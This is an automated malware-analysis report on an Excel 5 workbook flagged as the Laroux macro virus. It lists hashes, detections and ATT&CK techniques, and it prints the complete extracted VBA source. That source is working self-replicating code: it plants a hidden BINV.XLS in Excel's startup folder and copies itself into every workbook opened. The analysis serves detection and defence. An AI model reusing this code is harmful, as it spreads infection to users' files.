Xls.Trojan.Laroux-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 16b91b3924934b3a…

MALICIOUS

Office (OLE)

35.0 KB First seen: 2015-09-30
MD5: 8e133882ce7582f899c5b6607f6c9047 SHA-1: fae33237ba7ebb14cdd41072e12ebef43e07997e SHA-256: 16b91b3924934b3ad0e233ddc01c5543b01e404f79ef3b49cc7094ce59f4687e
208 Risk Score

Malware Insights

Xls.Trojan.Laroux-1 · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as a malicious Excel 5 macro-virus (Laroux-CV) by multiple heuristics and ClamAV. The VBA macro contains an Auto_Open subroutine that attempts to save a workbook as 'BINV.XLS' in the startup path and sets up an OnSheetActivate handler for 'check_files'. The document body contains what appears to be financial or loan details, suggesting a lure for financial fraud or credential harvesting.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-1
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2169 bytes
SHA-256: d28283630690774634405e2989a91a22779f57ba153e0fc9e238e183cf9d32ab
Detection
ClamAV: Xls.Trojan.Laroux-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "laroux"





Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "BINV.XLS")
    If m$ = "BINV.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("laroux").Visible = True
    Sheets("laroux").Select
    
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "BINV.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("laroux").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "BINV.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "laroux" Then
        Workbooks("BINV.XLS").Sheets("laroux").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("laroux").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "BINV.xls!check_files"
    Case Else
End Select
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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